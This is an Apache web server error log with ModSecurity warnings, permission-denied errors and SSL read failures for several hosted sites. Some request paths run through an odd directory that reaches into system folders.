[Fri Jul 17 08:50:45.276391 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:45.818103 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:46.193635 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:46.540469 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:46.582128 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/preunzip"] [unique_id "almfjkgVnBK6wAv37w6rfgAAABQ"]
[Fri Jul 17 08:50:46.582435 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/preunzip"] [unique_id "almfjkgVnBK6wAv37w6rfgAAABQ"]
[Fri Jul 17 08:50:46.582806 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/preunzip"] [unique_id "almfjkgVnBK6wAv37w6rfgAAABQ"]
[Fri Jul 17 08:50:52.621217 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:53.293131 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:37938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:55.502786 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:38046] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:56.161768 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:38086] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:56.700865 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:56.700940 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:56.744931 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfmA7FYe46zHK_jL3O6wAAABk"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:50:56.744966 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfmA7FYe46zHK_jL3O6wAAABk"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:50:56.922426 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:38122] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:57.877934 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:38400] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:58.737289 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.37:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/subsystem/devices/memory0/subsystem/devices/memory133/node0/memory107/node0/cpu4/cache/index3/"] [unique_id "almfmlCBpfuYyhJ140vRrwAAAB4"]
[Fri Jul 17 08:50:58.737340 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.37:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/subsystem/devices/memory0/subsystem/devices/memory133/node0/memory107/node0/cpu4/cache/index3/"] [unique_id "almfmlCBpfuYyhJ140vRrwAAAB4"]
[Fri Jul 17 08:51:07.315733 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:07.364277 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:08.788055 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:08.922982 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:08.939070 2026] [security2:error] [pid 2023579:tid 2023579] [client 47.82.15.27:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:9/subsystem/tty47/subsystem/tty17/"] [unique_id "almfpOYpb_TFRze2EO3ysAAAAAE"]
[Fri Jul 17 08:51:08.939130 2026] [security2:error] [pid 2023579:tid 2023579] [client 47.82.15.27:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:9/subsystem/tty47/subsystem/tty17/"] [unique_id "almfpOYpb_TFRze2EO3ysAAAAAE"]
[Fri Jul 17 08:51:09.381423 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:10.072548 2026] [core:error] [pid 2018758:tid 2018758] (13)Permission denied: [client 47.82.13.248:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:19/subsystem/ttyS0/device/driver/bind
[Fri Jul 17 08:51:10.671535 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:10.763659 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/ps2ps2"] [unique_id "almfpt0t9Kb_MdNxrg7BjQAAAAM"]
[Fri Jul 17 08:51:10.764035 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/ps2ps2"] [unique_id "almfpt0t9Kb_MdNxrg7BjQAAAAM"]
[Fri Jul 17 08:51:10.764460 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/ps2ps2"] [unique_id "almfpt0t9Kb_MdNxrg7BjQAAAAM"]
[Fri Jul 17 08:51:10.928265 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:11.205094 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:11.458013 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:12.454079 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:12.755274 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:13.003811 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:13.169837 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:14.689525 2026] [core:error] [pid 2018758:tid 2018758] (13)Permission denied: [client 57.141.18.68:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory91/subsystem/devices/memory0/subsystem/devices/memory74/subsystem/uevent
[Fri Jul 17 08:51:14.750863 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfqlh1WDijTxd1xw5LugAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:51:14.750906 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfqlh1WDijTxd1xw5LugAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:51:15.288716 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfqxAi3pC6yjXGNq1_4QAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:51:15.288764 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfqxAi3pC6yjXGNq1_4QAAAAU"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:51:15.307396 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:52386] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:17.950321 2026] [security2:error] [pid 2018758:tid 2018758] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfrYRpm5MObcED3Q9sFwAAABE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:51:17.950354 2026] [security2:error] [pid 2018758:tid 2018758] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfrYRpm5MObcED3Q9sFwAAABE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:51:18.679676 2026] [ssl:error] [pid 2023579:tid 2023579] (70014)End of file found: [client 66.85.158.91:52576] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:21.733258 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:21.738913 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:22.104599 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:36510] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:22.659428 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "almfslh1WDijTxd1xw5LvgAAAAc"]
[Fri Jul 17 08:51:22.659808 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "almfslh1WDijTxd1xw5LvgAAAAc"]
[Fri Jul 17 08:51:22.710370 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almfslh1WDijTxd1xw5LvgAAAAc"]
[Fri Jul 17 08:51:22.909892 2026] [core:error] [pid 2014256:tid 2014256] (13)Permission denied: [client 57.141.18.41:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory88/node0/memory130/node0/memory40/subsystem/drivers_probe
[Fri Jul 17 08:51:23.666038 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:23.961995 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:36572] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:24.003376 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:24.225341 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:36584] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:26.657462 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:26.877838 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:27.121810 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:36694] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:27.708696 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:27.714446 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:29.197821 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:29.316278 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:29.551269 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:36822] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:29.908537 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:36876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:30.026945 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:30.375720 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:30.481816 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:30.704463 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 57.141.18.100:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory119/node0/memory108/node0/memory131/node0/memory118/subsystem/drivers_probe
[Fri Jul 17 08:51:31.331765 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:31.393180 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:32.219826 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:55708] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:33.030277 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:55740] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:33.287093 2026] [security2:error] [pid 1993668:tid 1993668] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/trails-global": Permission denied [hostname "trails.lk"] [uri "/wp-cron.php"] [unique_id "almfuhAi3pC6yjXGNq1_6QAAAAU"], referer: https://trails.lk/wp-cron.php?doing_wp_cron=1784258490.0805211067199707031250
[Fri Jul 17 08:51:33.287153 2026] [security2:error] [pid 1993668:tid 1993668] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/trails-ip": Permission denied [hostname "trails.lk"] [uri "/wp-cron.php"] [unique_id "almfuhAi3pC6yjXGNq1_6QAAAAU"], referer: https://trails.lk/wp-cron.php?doing_wp_cron=1784258490.0805211067199707031250
[Fri Jul 17 08:51:33.866144 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_luns"] [unique_id "almfvY1dLClkUfK_dfHkOwAAAAI"]
[Fri Jul 17 08:51:33.866575 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_luns"] [unique_id "almfvY1dLClkUfK_dfHkOwAAAAI"]
[Fri Jul 17 08:51:33.867118 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/sg_luns"] [unique_id "almfvY1dLClkUfK_dfHkOwAAAAI"]
[Fri Jul 17 08:51:38.165587 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:55984] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:38.762420 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:56050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:38.797603 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:56052] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:40.480350 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:40.514406 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:40.857113 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:56202] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:51:41.295708 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:51:41.296986 2026] [security2:error] [pid 2018767:tid 2018767] [client 47.82.8.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:64/subsystem/tty55/subsystem/ptmx/"] [unique_id "almfxaquHSHoCJK_V0SAmQAAABs"]
